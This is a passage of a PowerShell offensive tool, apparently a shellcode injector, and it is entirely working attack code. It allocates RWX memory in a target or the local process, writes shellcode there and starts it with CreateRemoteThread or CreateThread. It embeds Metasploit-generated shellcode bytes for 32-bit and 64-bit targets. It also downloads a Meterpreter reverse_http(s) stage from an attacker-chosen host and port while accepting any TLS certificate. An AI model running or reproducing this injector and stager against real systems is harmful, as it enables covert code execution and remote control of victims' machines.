Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
# Determine is the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Shellcode injection complete!'
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
}
else
{
$64bitCPU = $false
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
{
if (!$PowerShell32bit) {
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
# Pull out just the content of the this script's invocation. This is only accessible via a private field of the InvocationInfo object instance
$RootInvocation = $MyInvocation.GetType().GetField('_scriptPosition', 'NonPublic, Instance').GetValue($MyInvocation).Text
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
Return
}
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
if ($MyInvocation.BoundParameters['Force'])
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
# Exit the script since the shellcode will be running from x86 PowerShell
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
# User opted not to carry out download of Metasploit payload. Exit function
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
# Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}
}
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
Write-Verbose "Requesting meterpreter payload from $Request"
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}